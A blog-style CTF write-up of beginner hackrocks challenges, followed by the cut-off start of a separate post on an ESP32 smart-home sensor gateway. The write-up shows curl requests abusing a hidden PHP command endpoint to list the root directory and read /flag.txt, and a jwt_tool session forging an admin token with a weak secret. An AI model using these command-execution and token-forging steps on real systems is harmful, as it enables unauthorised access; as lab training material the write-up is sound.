&lt;p&gt;This challenge, once again, gives us a shell to play with, as well as the C source code of the service running in port 37881.&lt;/p&gt;

&lt;p&gt;So, connecting to it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ telnet challenges.hackrocks.com 37881
Trying 95.216.99.248...
Connected to challenges.hackrocks.com.
Escape character is '^]'.
vent anything to me

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we are given an “infinite” input box, &lt;code&gt;vent anything to me&lt;/code&gt;. Without even looking at the sauce, we can enter a lot of &lt;code&gt;a&lt;/code&gt; to see what happens!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vent anything to me
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
the flag is flag{m0r3_th4n_72_n1ce!}

Connection closed by foreign host.

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ah! Just a plain trivial buffer overflow, and we got the flag, &lt;code&gt;flag{m0r3_th4n_72_n1ce!}&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;mluis&lt;/code&gt; did spend some time looking at the binary source code, and found out that there is an signal handler for &lt;code&gt;SIGSEGV&lt;/code&gt; that prints the flag if any part of the code does an &lt;em&gt;illegally access or modify memory&lt;/em&gt;, typically caused by &lt;em&gt;uninitialized or NULL pointer values or by memory overlays&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Hidden In the Web
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Set up your toolkit, and get ready to start the audit…&lt;/p&gt;

&lt;p&gt;To access the challenge, click on the following link: &lt;a href="http://example.com:10101" rel="noopener noreferrer"&gt;http://example.com:10101&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;![[Screenshot 2022-12-01 at 12-35-41 Hidden In the Web - hackrocks.png]&lt;/p&gt;

&lt;p&gt;So, this time we get a web challenge with greet us with a &lt;em&gt;under construction&lt;/em&gt; page. Looking at the source code of the page we get an obvious hint:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- 
Hey Marcus, dont forget to change the permission of environment. thanks!
Sincerely, Adrian
 --&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So &lt;em&gt;Marcus&lt;/em&gt; must change the permissions to some file. Let’s get a dir buster running. But, let’s start by the simpliest scan, open &lt;a href="https://owasp.org/www-project-zap/" rel="noopener noreferrer"&gt;OWASP Zap&lt;/a&gt; and do a default automatic scan give us an exposed sensitive file, &lt;code&gt;.env&lt;/code&gt;. The content of that file was juicy, as expected:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ curl 'http://example.com:10101/.env'
PATH=/s3cr3t_3ntr4nce.php
CMD=c0mm
METHOD=GET

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we have a path, &lt;code&gt;s3cr3t_3ntr4nce.php&lt;/code&gt; that gives us command execution! Let’s mess around a litte in the folder directory:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ curl 'http://example.com:10101/s3cr3t_3ntr4nce.php?c0mm=ls%20%2F..'
bin
boot
dev
etc
flag.txt
home
lib
...

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Oh! An obvious &lt;code&gt;flag.txt&lt;/code&gt; file!&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ curl 'http://example.com:10101/s3cr3t_3ntr4nce.php?c0mm=cat%20%2Fflag.txt'
flag{m4rcus_f0rg0t_t0_change_perm_env_and_igot_shell}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Printing the contents, we get our flag, &lt;code&gt;flag{m4rcus_f0rg0t_t0_change_perm_env_and_igot_shell}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Talkies Talk
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;We just know that the person is named &lt;strong&gt;James&lt;/strong&gt; , and a &lt;strong&gt;Picture&lt;/strong&gt; of the last place he was. Can you find him?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;center&gt;
&lt;img alt="Place" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fjpdias.me%2Fimages%2Fhackrocks22%2F20221112112111.png" width="800" height="937"&gt;
&lt;/center&gt;

&lt;p&gt;So this was an OSINT challenge. The first part of the challenge was pretty straightforward, just finding the place were the picture was taken, you can use Google Images, or Yandex Image search to get to the result directly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg041uy8qrkgti897c41d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg041uy8qrkgti897c41d.png" width="800" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, we have KOPI 98 cafe located in &lt;em&gt;Jl. Boulevard Graha Raya No.30, Paku Jaya, Kec. Serpong Utara, Kota Tangerang Selatan, Banten 15220, Indonesia&lt;/em&gt;. But where to go from here now?&lt;/p&gt;

&lt;p&gt;After losing some hair trying to understand where to go from here, &lt;code&gt;mluis&lt;/code&gt; suggested to look into the reviews, and we found the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fheek1f07i5xbdu0kvhla.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fheek1f07i5xbdu0kvhla.png" width="800" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Author: Jameskenniyantopurica Nice coffee&lt;br&gt;&lt;br&gt;
flag{n0needToreverseImag3me!}&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Flag was &lt;code&gt;flag{n0needToreverseImag3me!}&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bad Cookie
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Access the website provided to us and help us rewrite the report.&lt;br&gt;&lt;br&gt;
To access the challenge, click on the following link: &lt;a href="http://example.com:17821" rel="noopener noreferrer"&gt;http://example.com:17821&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3ng6jf1m3hyldihgc9s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fy3ng6jf1m3hyldihgc9s.png" width="800" height="146"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So another web challenge. This was also a pretty straightforward challenge, but I didn’t look at the source code, so I took the longest road possible. But let’s get to the details. We have a web page with 3 sub pages, &lt;code&gt;Home&lt;/code&gt;, &lt;code&gt;Admin&lt;/code&gt;, and &lt;code&gt;Message&lt;/code&gt;. Trying to access the &lt;code&gt;Admin&lt;/code&gt; page gives us an alert message: &lt;code&gt;no cookie!&lt;/code&gt;. So we have to get a cookie.&lt;/p&gt;

&lt;p&gt;Getting to the &lt;code&gt;Message&lt;/code&gt; page, we have an input box for our &lt;code&gt;name&lt;/code&gt;. Entering anything in this field gives us a cookie that set the field &lt;code&gt;x-access-token&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkmp16x8vrlbfe899v8cp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkmp16x8vrlbfe899v8cp.png" width="800" height="172"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;However, if we try to access the &lt;code&gt;Admin&lt;/code&gt; we still don’t have the necessary cookie. Looking at the cookie we can see that it is a &lt;code&gt;jwt&lt;/code&gt; token:&lt;code&gt;x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJndWVzdCIsImlkIjoidGVzdCIsImV4cCI6MTY2OTkwMDI3NX0.G-MCKnN3jluboyrxXCHDCU2TF8CfZWVXnyUc3HP4QfQ&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;a href="https://jwt.io/" rel="noopener noreferrer"&gt;jwt.io&lt;/a&gt; we can see the fields of the cookie which is signed with &lt;code&gt;HMACSHA256&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
    "public_id": "guest",
    "id": "test",
    "exp": 1669900275
}

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we can see that our &lt;code&gt;public_id&lt;/code&gt; is &lt;code&gt;guest&lt;/code&gt;, and, most probably, we need to be &lt;code&gt;admin&lt;/code&gt; to access the &lt;code&gt;Admin&lt;/code&gt; page. So, trying to understand the most common attacks to &lt;code&gt;jwt&lt;/code&gt; I found out a tool, &lt;a href="https://github.com/ticarpi/jwt_tool#the-json-web-token-toolkit-v2" rel="noopener noreferrer"&gt;JSON Web Token Toolkit v2&lt;/a&gt;, that, after configuring the target URL and specifying our &lt;code&gt;jwt&lt;/code&gt; as input, automatically attempts to find issues with it, as it quickly found out that the key using to sign the token was &lt;code&gt;12345&lt;/code&gt; by merely bruteforce with the built-in dictionary. However, as aforementioned, this was an unnecessary effort, given that as a commentary in the source code we had the following message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;!-- 
putting jwt beautifier in here soon!
DEBUG note for QA:
the current jwt secret is 12345
--&amp;gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Oh well. Using the same tool also aids us on generating a new &lt;code&gt;jwt&lt;/code&gt; with any modifications we need:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJndWVzdCIsImlkIjoidGVzdCIsImV4cCI6MTY2ODI1NTkxOH0.QKE7Vlzxr_-BzOmFhPnYPjw9cuVYJjsrNatDRSBikyc -T -S hs256 -p "12345"

Token header values:
[1] alg = "HS256"
[2] typ = "JWT"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
&amp;gt; 0

Token payload values:
[1] public_id = "guest"
[2] id = "test"
[3] exp = 1668255918 ==&amp;gt; TIMESTAMP = 2022-11-12 12:25:18 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
&amp;gt; 1

Current value of public_id is: guest
Please enter new value and hit ENTER
&amp;gt; admin
[1] public_id = "admin"
[2] id = "test"
[3] exp = 1668255918 ==&amp;gt; TIMESTAMP = 2022-11-12 12:25:18 (UTC)
[4] *ADD A VALUE*
[5] *DELETE A VALUE*
[6] *UPDATE TIMESTAMPS*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
&amp;gt; 0
jwttool_98c7e8bf492b3d9160ae70364245e1b8 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwdWJsaWNfaWQiOiJhZG1pbiIsImlkIjoidGVzdCIsImV4cCI6MTY2ODI1NTkxOH0.T3aPtPlGJ8FDt_K3z0-57yOHNdoWyJ3bAERbIJd4KWQ

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trying to access the &lt;code&gt;admin&lt;/code&gt; page with the crafted &lt;code&gt;x-access-token&lt;/code&gt; reveals the flag: &lt;code&gt;flag{wh0a_y0u_g0t_m3_g00d_thr0ugh_jwt}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Distant Sounds
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Just an &lt;strong&gt;Audio file&lt;/strong&gt;. At the moment, we don’t have much information for you, only that it has somehow been involved in the latest attack by a known cybercriminal gang.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So another steg/crypto challenge with an &lt;code&gt;sounds.wav&lt;/code&gt; file. Listing to the audio it is obviously Morse code, so using &lt;a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html" rel="noopener noreferrer"&gt;Morse Code Adaptive Audio Decoder&lt;/a&gt; we get the message &lt;code&gt;SAYFRIENDANDCOMEIN&lt;/code&gt;. But this was not the flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibcotwbk42wz2gtj93ze.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fibcotwbk42wz2gtj93ze.png" width="800" height="392"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In this part I’ve wasted too much time looking at this as a reference to Lord of the Rings when &lt;em&gt;Gandalf&lt;/em&gt; tries to enter Moria by the Western Gate, given that the challenge was similar:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“It reads ‘The Doors of Durin — Lord of Moria. Speak, friend, and enter.’” – Gandalf&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;But using the movie referenced word “mellon” as the flag, &lt;em&gt;the Sindarin word for “friend”&lt;/em&gt;, did not work.&lt;/p&gt;

&lt;p&gt;One thing that I noticed is that the audio was really sloooww, so maybe there was more to the file than meets the ear. Attempting &lt;code&gt;binwalk&lt;/code&gt; provided nothing new. However, one other tool that is commonly used to hide files in &lt;code&gt;wav&lt;/code&gt; sound files is &lt;code&gt;steghide&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Doing &lt;code&gt;steghide extract –sf sounds.wav&lt;/code&gt; prompt us to enter a password, and using as password the word &lt;code&gt;friend&lt;/code&gt; gave us a &lt;code&gt;secret.txt&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;❯ cat secret.txt
Greetings! Youve found the flag for this game: IWHIOPDNJI

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the flag is &lt;code&gt;IWHIOPDNJI&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Talkies Talk II
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;The &lt;strong&gt;GCP&lt;/strong&gt; indicates that it has managed to find out that &lt;em&gt;maigret&lt;/em&gt; should be used, because James would never send a picture without hidden information.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We get an image and nothing more. I’ve wasted too much time also on this challenge because I missed to notice the obvious, but oh well. After attempting all the usual stegnography tricks, no luck. Even the output of &lt;code&gt;exiftool&lt;/code&gt; did not provide any useful info, or at least, that was what I though. After &lt;code&gt;mluis&lt;/code&gt; suggestion to look closer to the output of &lt;code&gt;exiftool&lt;/code&gt; it became obvious that there was an author in the picture metadata, &lt;code&gt;0xdc9&lt;/code&gt;. As the username was hexadecimal it passed by me as purely gibberish, but it was not.&lt;/p&gt;

&lt;p&gt;Using &lt;code&gt;maigret&lt;/code&gt; or, more knownly, &lt;code&gt;sherlock&lt;/code&gt;, both tools to find usernames in social networks, would quickly lead us to a Twitter account with only one post:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3gdpi8zcq82k50ame4b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz3gdpi8zcq82k50ame4b.png" width="547" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we get our last flag: &lt;code&gt;flag{well_i_am_exposed_through_one_pic}&lt;/code&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Wrap-up
&lt;/h2&gt;

&lt;p&gt;So this was the first CTF by InvestAmarante, and the first one that I played from &lt;em&gt;hackrocks&lt;/em&gt;. As a newbie friendly CTF it was quick to solve (even quicker if I did not so much time into &lt;em&gt;rabbit holes&lt;/em&gt;). A recommendation for &lt;em&gt;hackrocks&lt;/em&gt; is to be more realistic/precise about the categories, and try to stick to the common ones that typically apply. And, at last, I managed to finish in the 11&lt;sup&gt;th&lt;/sup&gt; position.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5biaow91t23dgkfkklra.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5biaow91t23dgkfkklra.png" width="800" height="464"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>hackrocks</category>
      <category>hacking</category>
    </item>
    <item>
      <title>A (not so smart) smart home</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Mon, 03 Oct 2022 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/a-not-so-smart-smart-home-410n</link>
      <guid>https://dev.to/jpdias/a-not-so-smart-smart-home-410n</guid>
      <description>&lt;p&gt;Internet-of-Things, cyber-physical systems, smart spaces, smart anything… All these buzzwords and keywords are either vendor-generated for pushing ever-complex devices and things from WiFi-controlled kettles to health monitoring devices or created by academia (e.g., Internet-of-Everything, Web-of-Things, Connected Devices, Smart Devices) to sustain minor works by reinventing well-known technologies and approaches.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Problem
&lt;/h2&gt;

&lt;p&gt;Off-the-shelf IoT devices are typically (1) &lt;strong&gt;complex&lt;/strong&gt; by depending on proprietary application-layer specifications for communicating and, sometimes, even depend on specific hardware, (2) &lt;strong&gt;expensive&lt;/strong&gt; , especially if you wish for something more or less reliable, (3) &lt;strong&gt;depend on proprietary software&lt;/strong&gt; (_with all the bonus telemetry and other goods &lt;del&gt;powered by some states&lt;/del&gt; _), and, lastly, (4) they do a lot of unnecessary things (e.g., always-on microphones).&lt;/p&gt;

&lt;p&gt;Nonetheless, I see the potential in IoT, although I disagree with how most IoT systems are built today. For simple problems, simple solutions (and, preferably, cheap ones). And the problem is simple, and I want to monitor the humidity and temperature of several rooms in a two-floor house. But (1) I should be able to do it with cheap off-the-shelf devices (even if I need to &lt;em&gt;flash&lt;/em&gt; them), (2) the setup/programming should be minimal, (3) data should be available anywhere anytime, and (4) the architecture of the system should be minimal, i.e., I do not want to run five different services on top of an always-on Raspberry Pi just to be able to see a chart with some data points.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Approach
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Finding the Right Device
&lt;/h3&gt;

&lt;p&gt;First things first, we need a sensor device capable of collecting temperature/humidity and communicating this data wirelessly. There are a lot of sensors in the market capable of doing such using different protocols and with different power efficiency solutions.&lt;/p&gt;

&lt;p&gt;For starters, we could use some WiFi-based setup, with some cheap ESP8266 plus a DHT22; however, the power consumption of those devices is not that low, so it would require some maintenance in terms of batteries (and, further, it would require some soldering and manual wiring). Next, we could use some ZigBee / Thread / Matter or whatever Connectivity Standards Alliance is now pushing as the “solution” for the standards issue&lt;sup id="fnref:1"&gt;1&lt;/sup&gt;, but that would require specific hardware or some DIY gateway with a Raspberry and a ZigBee / Thread dongle, so no-go. There are other “state-of-the-art” solutions, but they are typically expensive or over-engineered for this use case.&lt;/p&gt;


&lt;center&gt;
&lt;br&gt;
&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--dR5jarkU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://jpdias.me/images/smarthome/xiaomi.jpeg" width="448" height="448"&gt;&lt;br&gt;
&lt;/center&gt;

&lt;p&gt;Lastly, one of the technologies that have been around for some time now (circa 2009) and have proven to be one of the most battery-efficient ones is Bluetooth Low Energy. And as one of the oldest techs, it is easy to find cheap devices that leverage the protocol, one of them being the &lt;a href="https://xiaomi-mi.com/sockets-and-sensors/mijia-temperature-and-humidity-monitor-2/"&gt;Xiaomi MIJIA Temperature and Humidity Monitor 2&lt;/a&gt; (model: LYWSD03MMC), which can be found for around 5$ a piece.&lt;/p&gt;
&lt;h3&gt;
  
  
  Removing the Xiaomi Mi Home Dependency (Flashing Firmware)
&lt;/h3&gt;

&lt;p&gt;Although Xiaomi devices are typically well built, their software is &lt;em&gt;terrible&lt;/em&gt;. In this case, the device requires the &lt;a href="https://play.google.com/store/apps/details?id=com.xiaomi.smarthome&amp;amp;hl=en&amp;amp;gl=US"&gt;Xiaomi Mi Home&lt;/a&gt; application to get the data that the sensor collects. While this was a no-go, there is a simple way to get the &lt;em&gt;bindkey&lt;/em&gt; which allows any other Bluetooth-enabled device to get data from the sensor devices. An example is using &lt;a href="https://esphome.io"&gt;esphome&lt;/a&gt; running on some ESP32. A detailed process on how to get the &lt;em&gt;bindkey&lt;/em&gt; and collect data from the sensors is available on &lt;a href="https://esphome.io/components/sensor/xiaomi_ble.html#obtaining-the-bindkey"&gt;esphome docs&lt;/a&gt;, using the &lt;a href="https://atc1441.github.io/TelinkFlasher.html"&gt;TelinkFlasher by ATC1441&lt;/a&gt;. The process is seamless, as the web app can connect to the Bluetooth device (Chromium-based browser recommended) and then use specific commands to get the key (so no wiring is needed!).&lt;/p&gt;

&lt;p&gt;Moreover, this specific sensor has several alternative firmware available that allow one to configure (and even improve) the behavior and communication style of these sensors. Looking at the &lt;a href="https://github.com/pvvx/ATC_MiThermometer"&gt;ATC_MiThermometer firmware by pvvx&lt;/a&gt;&lt;sup id="fnref:2"&gt;2&lt;/sup&gt;, adds several improvements to the device, including extended battery life (over a year), improved measurement accuracy, and extended format in 0.01 units, and adjustable RF TX Power &amp;amp; Bluetooth advertising interval.&lt;/p&gt;

&lt;p&gt;The flashing process is straightforward and thoughtfully explained in the &lt;a href="https://github.com/pvvx/ATC_MiThermometer#flashing-or-updating-the-firmware-ota"&gt;repo readme&lt;/a&gt;. I left my devices with the default firmware configurations, but it is possible to further &lt;a href="https://github.com/pvvx/ATC_MiThermometer#configuration"&gt;adjust it&lt;/a&gt;. By default, the devices advertise the values they are reading using the firmware default custom format.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; : In the case of flashing several devices, I recommend keeping track of the MAC address of the devices by connecting (inserting the battery) each one separately and checking the device MAC using, as an example, the &lt;a href="https://www.nordicsemi.com/Products/Development-tools/nrf-toolbox"&gt;Nordic nRF Toolbox&lt;/a&gt;, and write it down in the back of the sensor.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  Building a Low-Power Gateway
&lt;/h3&gt;

&lt;p&gt;The data can be collected from the devices easily, using ESPHome on an ESP32, as was already mentioned. A sample example of such would be using a configuration like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;esp32_ble_tracker:
  active: false

sensor:
  - platform: xiaomi_lywsd03mmc
    mac_address: "A4:C1:38:AA:AA:AA"
    bindkey: "eef418daf699a0c188f3bfd17e4565d9"
    temperature:
      name: "LYWSD03MMC Temperature"
    humidity:
      name: "LYWSD03MMC Humidity"
    battery_level:
      name: "LYWSD03MMC Battery Level"

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;However, the system becomes unstable when more than one sensor is configured at the same time, leading to several &lt;code&gt;malloc&lt;/code&gt; failures. This also limits the ability to configure the transmission of data using MQTT or HTTP to a data storage service, so ESPHome did not work for this case.&lt;/p&gt;

&lt;p&gt;Another option would be using &lt;a href="https://docs.openmqttgateway.com/"&gt;OpenMQTTGateway&lt;/a&gt;, but using it would require an MQTT broker and some middleware (e.g., Node-RED) to consume from the MQTT topics and send the data to some database&lt;sup id="fnref:3"&gt;3&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;Lastly, the option chosen was to program a minimal Arduino program that runs on the ESP32 that collects data from the sensor devices and, using REST, directly writes the data to a database. To fulfill all the requirements, this needed to be a cloud-based database, preferably with some kind of visualization toolkit available, so &lt;a href="https://www.influxdata.com/"&gt;InfluxDB Cloud&lt;/a&gt; was selected. The free tier retains data from the last 30 days, which is more than enough to understand the thermal and isolation performance of the home&lt;sup id="fnref:4"&gt;4&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;The Arduino program was built using two libraries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/matthias-bs/ESP32_ATC_MiThermometer_Library"&gt;ESP32_ATC_MiThermometer_Library&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/tobiasschuerg/InfluxDB-Client-for-Arduino"&gt;InfluxDB-Client-for-Arduino&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;By leveraging those &lt;em&gt;libs&lt;/em&gt;, the program is less than 80 lines of code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include "ATC_MiThermometer.h"
#include &amp;lt;WiFi.h&amp;gt;
#include &amp;lt;InfluxDbClient.h&amp;gt;
#include &amp;lt;InfluxDbCloud.h&amp;gt;

const char *ssid = "---";
const char *password = "---";

#define TZ_INFO "WET-0WEST-1,M3.5.0/01:00:00,M10.5.0/02:00:00" // lisbon time
#define INFLUXDB_URL "https://example.influxdata.com"
#define INFLUXDB_TOKEN "base64=="
#define INFLUXDB_ORG "org"
#define INFLUXDB_BUCKET "bucket"

// List of known sensors' BLE addresses
std::vector&amp;lt;std::string&amp;gt; knownBLEAddresses = {
    "A4:C1:38:11:11:11",
    "A4:C1:38:22:22:22" };

// List of localizations
std::vector&amp;lt;std::string&amp;gt; locations = {
    "office",
    "entrance" };

InfluxDBClient client(INFLUXDB_URL, INFLUXDB_ORG, INFLUXDB_BUCKET, INFLUXDB_TOKEN);
const int scanTime = 5; // BLE scan time in seconds
ATC_MiThermometer miThermometer(knownBLEAddresses);

void setup() {
    Serial.begin(115200);
    WiFi.begin(ssid, password);
    Serial.println("Connecting");
    while (WiFi.status() != WL_CONNECTED) {
        delay(500);
        Serial.print(".");
    }
